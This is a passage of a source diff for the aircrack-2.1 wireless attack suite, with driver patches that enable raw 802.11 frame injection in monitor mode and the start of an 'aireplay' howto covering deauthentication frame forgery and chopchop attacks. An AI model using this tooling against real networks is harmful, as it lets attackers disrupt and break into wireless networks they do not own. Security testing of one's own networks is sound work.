0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 }, + { 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 }, + { 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A }, + { 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 }, + { 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD }, + { 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B }, + { 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 }, + { 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 }, + { 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 }, + { 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE }, + { 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 }, + { 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 }, + { 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 }, + { 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 0x93,0x73,0x2D,0x04 }, + { 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF }, + { 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 }, + { 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 }, + { 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E }, + { 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 }, + { 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 }, + { 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 }, + { 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 }, + { 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F }, + { 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C }, + { 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 }, + { 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 }, + { 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA }, + { 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 }, + { 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D }, + { 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB }, + { 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 } +}; + +#endif /* crctable.h */ diff -urN aircrack-2.1.orig/Makefile aircrack-2.1/Makefile --- aircrack-2.1.orig/Makefile 2004-10-01 21:30:00.000000000 +0200 +++ aircrack-2.1/Makefile 2005-04-22 08:53:15.398815552 +0200 @@ -7,13 +7,14 @@ docdir = $(datadir)/aircrack DESTDIR = -BINFILES = 802ether aircrack aireplay airodump hopper.sh +BINFILES = 802ether aircrack aireplay airodump airforge hopper.sh DOCFILES = ChangeLog rawsend.patch docs/aircrack.html all: $(CC) $(CFLAGS) $(OPTFLAGS) 802ether.c -o 802ether $(CC) $(CFLAGS) $(OPTFLAGS) aircrack.c -o aircrack $(CC) $(CFLAGS) $(OPTFLAGS) aireplay.c -o aireplay + $(CC) $(CFLAGS) $(OPTFLAGS) airforge.c -o airforge $(CC) $(CFLAGS) $(OPTFLAGS) airodump.c -o airodump install: @@ -25,4 +26,4 @@ install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: - rm -f *.o 802ether aircrack aireplay airodump + rm -f *.o 802ether aircrack aireplay airforge airodump diff -urN aircrack-2.1.orig/patch/hostap-driver-0.3.7.patch.0.1 aircrack-2.1/patch/hostap-driver-0.3.7.patch.0.1 --- aircrack-2.1.orig/patch/hostap-driver-0.3.7.patch.0.1 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/patch/hostap-driver-0.3.7.patch.0.1 2005-04-22 08:51:21.935064664 +0200 @@ -0,0 +1,12 @@ +diff -aur hostap-driver-0.3.7-orig/driver/modules/hostap_80211_tx.c hostap-driver-0.3.7/driver/modules/hostap_80211_tx.c +--- hostap-driver-0.3.7-orig/driver/modules/hostap_80211_tx.c 2004-07-06 01:45:01.000000000 +0200 ++++ hostap-driver-0.3.7/driver/modules/hostap_80211_tx.c 2005-03-14 13:53:20.000000000 +0100 +@@ -466,7 +466,7 @@ + goto fail; + } + +- if (tx.crypt) { ++ if (tx.crypt && memcmp(tx.crypt->priv+4,"\x01\x02\x04\x08\x10",5)) { + skb = hostap_tx_encrypt(skb, tx.crypt); + if (skb == NULL) { + printk(KERN_DEBUG "%s: TX - encryption failed\n", diff -urN aircrack-2.1.orig/patch/linux-wlan-ng-0.2.1-pre26.patch.0.1 aircrack-2.1/patch/linux-wlan-ng-0.2.1-pre26.patch.0.1 --- aircrack-2.1.orig/patch/linux-wlan-ng-0.2.1-pre26.patch.0.1 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/patch/linux-wlan-ng-0.2.1-pre26.patch.0.1 2005-04-22 08:51:21.936064512 +0200 @@ -0,0 +1,284 @@ +diff -aur linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c +--- linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c 2005-01-11 18:43:54.000000000 +0100 ++++ linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c 2005-03-14 13:58:11.000000000 +0100 +@@ -525,7 +525,7 @@ + * and return success . + * TODO: we need a saner way to handle this + */ +- if(skb->protocol != ETH_P_80211_RAW) { ++ if(skb->protocol != htons(ETH_P_80211_RAW)) { + p80211netdev_start_queue(wlandev); + WLAN_LOG_NOTICE( + "Tx attempt prior to association, frame dropped.\n"); +@@ -537,7 +537,7 @@ + } + + /* Check for raw transmits */ +- if(skb->protocol == ETH_P_80211_RAW) { ++ if(skb->protocol == htons(ETH_P_80211_RAW)) { + if (!capable(CAP_NET_ADMIN)) { + return(-EPERM); + } +@@ -965,8 +965,9 @@ + dev->set_mac_address = p80211knetdev_set_mac_address; + #endif + #ifdef HAVE_TX_TIMEOUT +- dev->tx_timeout = &p80211knetdev_tx_timeout; +- dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; ++// KoreK: still not implemented ++// dev->tx_timeout = &p80211knetdev_tx_timeout; ++// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; + #endif + + } +diff -aur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile +--- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile 2005-01-25 02:41:44.000000000 +0100 ++++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile 2005-03-14 13:58:11.000000000 +0100 +@@ -88,7 +88,7 @@ + MODVERDIR=$(WLAN_SRC)/.tmp_versions modules + else # kbuild 2.4 + +- $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(PWD) \ ++ $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(WLAN_SRC) \ + modules + + endif # kbuild switch +diff -aur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c +--- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c 2005-01-25 01:38:50.000000000 +0100 ++++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c 2005-03-14 15:21:02.000000000 +0100 +@@ -1941,8 +1941,14 @@ + + DBFENTER; + +- cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +- HFA384x_CMD_AINFO_SET(enable); ++ if (enable == HFA384x_MONITOR_ENABLE) { ++ // KoreK: get into test mode 0x0a ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(0x0a); ++ } else { ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(enable); ++ } + cmd.parm0 = 0; + cmd.parm1 = 0; + cmd.parm2 = 0; +@@ -3178,13 +3184,26 @@ + HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); + #endif + +- /* if we're using host WEP, increase size by IV+ICV */ +- if (p80211_wep->data) { +- txdesc.data_len = host2hfa384x_16(skb->len+8); +- // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +- } else { +- txdesc.data_len = host2hfa384x_16(skb->len); +- } ++ if (skb->protocol != htons(ETH_P_80211_RAW)) { ++ /* if we're using host WEP, increase size by IV+ICV */ ++ if (p80211_wep->data) { ++ txdesc.data_len = host2hfa384x_16(skb->len+8); ++ // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++ } else { ++ txdesc.data_len = host2hfa384x_16(skb->len); ++ } ++ } else { ++ /* KoreK: raw injection (monitor mode): pull the rest of ++ the header and ssanity check on txdesc.data_len */ ++ memcpy(&(txdesc.data_len), skb->data, 16); ++ skb_pull(skb,16); ++ if (txdesc.data_len != host2hfa384x_16(skb->len)) { ++ printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); ++ return 0; ++ } ++ ++ txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); ++ } + + txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); + /* copy the header over to the txdesc */ +@@ -3207,7 +3226,7 @@ + spin_lock(&hw->cmdlock); + + /* Copy descriptor+payload to FID */ +- if (p80211_wep->data) { ++ if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { + result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, + &txdesc, sizeof(txdesc), + p80211_wep->iv, sizeof(p80211_wep->iv), +@@ -3657,6 +3676,16 @@ + switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) + { + case 0: ++ /* KoreK: this testmode uses macport 0 */ ++ if ((wlandev->netdev->type == ARPHRD_IEEE80211) || ++ (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { ++ if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { ++ hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); ++ } else { ++ WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); ++ } ++ goto done; ++ } + + fc = ieee2host16(rxdesc.frame_control); + +diff -aur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c +--- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c 2005-01-17 17:24:40.000000000 +0100 ++++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c 2005-03-14 15:27:57.000000000 +0100 +@@ -1143,8 +1143,14 @@ + + DBFENTER; + +- cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +- HFA384x_CMD_AINFO_SET(enable); ++ if (enable == HFA384x_MONITOR_ENABLE) { ++ // KoreK: get into test mode 0x0a ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(0x0a); ++ } else { ++ cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | ++ HFA384x_CMD_AINFO_SET(enable); ++ } + cmd.parm0 = 0; + cmd.parm1 = 0; + cmd.parm2 = 0; +@@ -3258,37 +3264,59 @@ + HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | + HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); + #endif +- hw->txbuff.txfrm.desc.tx_control = +- host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + +- /* copy the header over to the txdesc */ +- memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); ++ if (skb->protocol != htons(ETH_P_80211_RAW)) { ++ hw->txbuff.txfrm.desc.tx_control = ++ host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++ ++ /* copy the header over to the txdesc */ ++ memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, ++ sizeof(p80211_hdr_t)); ++ ++ /* if we're using host WEP, increase size by IV+ICV */ ++ if (p80211_wep->data) { ++ hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); ++ // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); ++ usbpktlen+=8; ++ } else { ++ hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++ } ++ } else { ++ /* KoreK: raw injection (monitor mode): pull the rest of ++ the header and ssanity check on txdesc.data_len */ ++ memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); ++ skb_pull(skb,16); ++ if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { ++ printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); ++ return 0; ++ } + +- /* if we're using host WEP, increase size by IV+ICV */ +- if (p80211_wep->data) { +- hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +- // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +- usbpktlen+=8; +- } else { +- hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); ++ hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); ++ hw->txbuff.txfrm.desc.tx_control = ++ host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); ++ ++ /* copy the header over to the txdesc */ ++ memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, ++ sizeof(p80211_hdr_t)); + } + + usbpktlen += skb->len; + + /* copy over the WEP IV if we are using host WEP */ + ptr = hw->txbuff.txfrm.data; +- if (p80211_wep->data) { ++ if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { + memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); + ptr+= sizeof(p80211_wep->iv); + memcpy(ptr, p80211_wep->data, skb->len); + } else { + memcpy(ptr, skb->data, skb->len); + } ++ + /* copy over the packet data */ + ptr+= skb->len; + + /* copy over the WEP ICV if we are using host WEP */ +- if (p80211_wep->data) { ++ if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { + memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); + } + +@@ -4105,6 +4133,17 @@ + switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status)) + { + case 0: ++ /* KoreK: this testmode uses macport 0 */ ++ if ((wlandev->netdev->type == ARPHRD_IEEE80211) || ++ (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { ++ if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { ++ hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); ++ } else { ++ WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); ++ } ++ goto done; ++ } ++ + w_hdr = (p80211_hdr_t *) &(usbin->rxfrm.desc.frame_control); + fc = ieee2host16(usbin->rxfrm.desc.frame_control); + +diff -aur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c +--- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c 2005-01-25 01:38:50.000000000 +0100 ++++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c 2005-03-14 13:58:11.000000000 +0100 +@@ -2855,9 +2855,10 @@ + } + + /* Now if we're already sniffing, we can skip the rest */ +- if (wlandev->netdev->type != ARPHRD_ETHER) { ++ if ((wlandev->netdev->type != ARPHRD_IEEE80211) && ++ (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { + /* Set the port type to pIbss */ +- word = HFA384x_PORTTYPE_PSUEDOIBSS; ++ word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; + result = hfa384x_drvr_setconfig16(hw, + HFA384x_RID_CNFPORTTYPE, word); + if ( result ) { +@@ -2869,6 +2870,8 @@ + } + if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { + /* Set the wepflags for no decryption */ ++ /* doesn't work - done from the CLI */ ++ /* Fix? KoreK */ + word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | + HFA384x_WEPFLAGS_DISABLE_RXCRYPT; + result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); +@@ -2914,7 +2917,8 @@ + goto failed; + } + +- if (wlandev->netdev->type == ARPHRD_ETHER) { ++ if ((wlandev->netdev->type != ARPHRD_IEEE80211) && ++ (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { + WLAN_LOG_INFO("monitor mode enabled\n"); + } + +diff -aur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c +--- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2sta.c 2005-01-25 01:38:50.000000000 +0100 ++++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2sta.c 2005-03-14 13:58:11.000000000 +0100 +@@ -649,7 +649,8 @@ + DBFENTER; + + /* If necessary, set the 802.11 WEP bit */ +- if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { ++ if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) ++ && (skb->protocol != htons(ETH_P_80211_RAW))) { + p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); + } + diff -urN aircrack-2.1.orig/patch/madwifi-20050309.patch.0.1 aircrack-2.1/patch/madwifi-20050309.patch.0.1 --- aircrack-2.1.orig/patch/madwifi-20050309.patch.0.1 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/patch/madwifi-20050309.patch.0.1 2005-04-22 08:51:21.936064512 +0200 @@ -0,0 +1,123 @@ +diff -ur madwifi/ath/if_ath.c madwifi-foo/ath/if_ath.c +--- madwifi/ath/if_ath.c 2005-03-09 14:48:52.000000000 -0500 ++++ madwifi-foo/ath/if_ath.c 2005-03-09 22:02:12.000000000 -0500 +@@ -1113,7 +1113,8 @@ + /* + * Encapsulate the packet for transmission. + */ +- skb = ieee80211_encap(ic, skb, &ni); ++ if (ic->ic_opmode != IEEE80211_M_MONITOR) ++ skb = ieee80211_encap(ic, skb, &ni); + if (skb == NULL) { + DPRINTF(sc, ATH_DEBUG_XMIT, + "%s: discard, encapsulation failure\n", __func__); +@@ -2843,7 +2844,7 @@ + hdrlen = ieee80211_anyhdrsize(wh); + pktlen = skb->len; + +- if (iswep) { ++ if (iswep && ic->ic_opmode != IEEE80211_M_MONITOR) { + const struct ieee80211_cipher *cip; + struct ieee80211_key *k; + +@@ -2905,7 +2906,7 @@ + * use short preamble based on the current mode and + * negotiated parameters. + */ +- if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && ++ if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && ni != NULL && + (ni->ni_capinfo & IEEE80211_CAPINFO_SHORT_PREAMBLE)) { + shortPreamble = AH_TRUE; + sc->sc_stats.ast_tx_shortpre++; +@@ -2920,6 +2921,11 @@ + */ + switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { + case IEEE80211_FC0_TYPE_MGT: ++ if (ic->ic_opmode == IEEE80211_M_MONITOR) { ++ atype = HAL_PKT_TYPE_NORMAL; /* default */ ++ txq = sc->sc_ac2q[skb->priority]; ++ break; ++ } + subtype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; + if (subtype == IEEE80211_FC0_SUBTYPE_BEACON) + atype = HAL_PKT_TYPE_BEACON; +@@ -2939,6 +2945,11 @@ + txq = sc->sc_ac2q[WME_AC_VO]; + break; + case IEEE80211_FC0_TYPE_CTL: ++ if (ic->ic_opmode == IEEE80211_M_MONITOR) { ++ atype = HAL_PKT_TYPE_NORMAL; /* default */ ++ txq = sc->sc_ac2q[skb->priority]; ++ break; ++ } + atype = HAL_PKT_TYPE_PSPOLL; /* stop setting of duration */ + rix = 0; /* XXX lowest rate */ + try0 = ATH_TXMAXTRY; +@@ -2951,11 +2962,14 @@ + break; + case IEEE80211_FC0_TYPE_DATA: + atype = HAL_PKT_TYPE_NORMAL; /* default */ ++ rix = 0; /* XXX lowest rate */ ++ try0 = ATH_TXMAXTRY; + /* + * Data frames; consult the rate control module. + */ +- ath_rate_findrate(sc, an, shortPreamble, skb->len, +- &rix, &try0, &txrate); ++ if (ic->ic_opmode != IEEE80211_M_MONITOR) ++ ath_rate_findrate(sc, an, shortPreamble, skb->len, ++ &rix, &try0, &txrate); + /* + * Default all non-QoS traffic to the background queue. + */ +@@ -2966,6 +2980,11 @@ + txq = sc->sc_ac2q[WME_AC_BK]; + break; + default: ++ if (ic->ic_opmode == IEEE80211_M_MONITOR) { ++ atype = HAL_PKT_TYPE_NORMAL; /* default */ ++ txq = sc->sc_ac2q[skb->priority]; ++ break; ++ } + printk("%s: bogus frame type 0x%x (%s)\n", dev->name, + wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK, __func__); + /* XXX statistic */ +@@ -3068,6 +3087,12 @@ + ieee80211_dump_pkt(skb->data, skb->len, + sc->sc_hwmap[txrate], -1); + ++ /* Let those crazy kids transmit frames in monitor mode */ ++ if (ic->ic_opmode == IEEE80211_M_MONITOR) { ++ /* Only transmit one frame, disable retrans */ ++ try0 = 1; ++ } ++ + /* + * Determine if a tx interrupt should be generated for + * this descriptor. We take a tx interrupt to reap +@@ -3096,7 +3121,7 @@ + , pktlen /* packet length */ + , hdrlen /* header length */ + , atype /* Atheros packet type */ +- , MIN(ni->ni_txpower,60)/* txpower */ ++ , 60 /* txpower */ + , txrate, try0 /* series 0 rate/tries */ + , keyix /* key cache index */ + , sc->sc_txantenna /* antenna mode */ +@@ -3104,6 +3129,7 @@ + , ctsrate /* rts/cts rate */ + , ctsduration /* rts/cts duration */ + ); ++ + /* + * Setup the multi-rate retry state only when we're + * going to use it. This assumes ath_hal_setuptxdesc +@@ -3111,7 +3137,7 @@ + * when the hardware supports multi-rate retry and + * we don't use it. + */ +- if (try0 != ATH_TXMAXTRY) ++ if (try0 != ATH_TXMAXTRY && ic->ic_opmode != IEEE80211_M_MONITOR) + ath_rate_setupxtxdesc(sc, an, ds, shortPreamble, rix); + + ds->ds_link = 0; diff -urN aircrack-2.1.orig/patch/prism54-kernel-2.6.10.patch.0.1 aircrack-2.1/patch/prism54-kernel-2.6.10.patch.0.1 --- aircrack-2.1.orig/patch/prism54-kernel-2.6.10.patch.0.1 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/patch/prism54-kernel-2.6.10.patch.0.1 2005-04-22 08:51:21.937064360 +0200 @@ -0,0 +1,12 @@ +diff -u prism54/islpci_eth.c prism54-diff/islpci_eth.c +--- prism54/islpci_eth.c 2004-12-24 16:33:51.000000000 -0500 ++++ prism54-diff/islpci_eth.c 2005-03-02 16:44:15.000000000 -0500 +@@ -99,7 +99,7 @@ + + /* determine the amount of fragments needed to store the frame */ + +- frame_size = skb->len < ETH_ZLEN ? ETH_ZLEN : skb->len; ++ frame_size = skb->len; + if (init_wds) + frame_size += 6; + diff -urN aircrack-2.1.orig/pcap-aireplay.h aircrack-2.1/pcap-aireplay.h --- aircrack-2.1.orig/pcap-aireplay.h 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/pcap-aireplay.h 2005-04-22 08:51:21.937064360 +0200 @@ -0,0 +1,40 @@ +#ifndef _COMMON_H +#define _COMMON_H + +#include + +#define IVSONLY_MAGIC "\xBF\xCA\x84\xD4" +#define TCPDUMP_MAGIC 0xA1B2C3D4 +#define TCPDUMP_CIGAM 0xD4C3B2A1 +#define PCAP_VERSION_MAJOR 2 +#define PCAP_VERSION_MINOR 4 +#define LINKTYPE_ETHERNET 1 +#define LINKTYPE_IEEE802_11 105 +#define LINKTYPE_PRISM_HEADER 119 + +struct pcap_file_header +{ + unsigned int magic; + unsigned short version_major; + unsigned short version_minor; + int thiszone; + unsigned int sigfigs; + unsigned int snaplen; + unsigned int linktype; +}; + +struct pcap_pkthdr +{ + int tv_sec; + int tv_usec; + unsigned int caplen; + unsigned int len; +}; + +#define SWAP32(x) \ + x = ( ( ( x >> 24 ) & 0x000000FF ) | \ + ( ( x >> 8 ) & 0x0000FF00 ) | \ + ( ( x << 8 ) & 0x00FF0000 ) | \ + ( ( x << 24 ) & 0xFF000000 ) ); + +#endif /* common.h */ diff -urN aircrack-2.1.orig/README aircrack-2.1/README --- aircrack-2.1.orig/README 1970-01-01 01:00:00.000000000 +0100 +++ aircrack-2.1/README 2005-04-22 08:51:21.938064208 +0200 @@ -0,0 +1,173 @@ + + + + + aireplay mini-howto + + + + + Example test setup: + + * Acess Point (hostap) - 00:02:2D:AA:9C:13 , 10.0.0.1 + * Wireless client (madwifi) - 00:09:5B:FC:21:F4 , 10.0.0.2 + * Laptop with a Prism2 or Atheros of Prism54 card + + + 0. Changes since last release + ============================= + + * built-in chopchop operation mode + * added a bunch of options in aireplay + * added deauthentication frame forgery + * Prism2 (wlan-ng) USB device support + * Atheros (madwifi) and Prism54 device support + + + 1. Driver recompilation + ======================= + + 1.1. Installing linux-wlan-ng-0.2.1-pre26 + ----------------------------------------- + +First, make sure you have updated your card's station and primary +firmware with a recent version; I recommend STA 1.7.4 / PRI 1.1.1. + +cd /usr/src +wget --passive-ftp ftp://ftp.linux-wlan.org/pub/linux-wlan-ng/linux-wlan-ng-0.2.1-pre26.tar.bz2 +tar -xvjf linux-wlan-ng-0.2.1-pre26.tar.bz2 +cd linux-wlan-ng-0.2.1-pre26 +patch -Np1 -i ~/aireplay-2.2/patch/linux-wlan-ng-0.2.1-pre26.patch.0.1 +make config +make all +find /lib/modules \( -name p80211* -o -name prism2* \) -exec rm -v {} \; +make -C src install +cp etc/pcmcia/wlan-ng.conf /etc/pcmcia/ +mv /etc/pcmcia/hostap_cs.conf /etc/pcmcia/hostap_cs.conf~ +ifconfig wlan0 down +wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable +/etc/init.d/pcmcia restart +(reinsert card) + + + 1.2. Installing madwifi + ----------------------- + +Note: 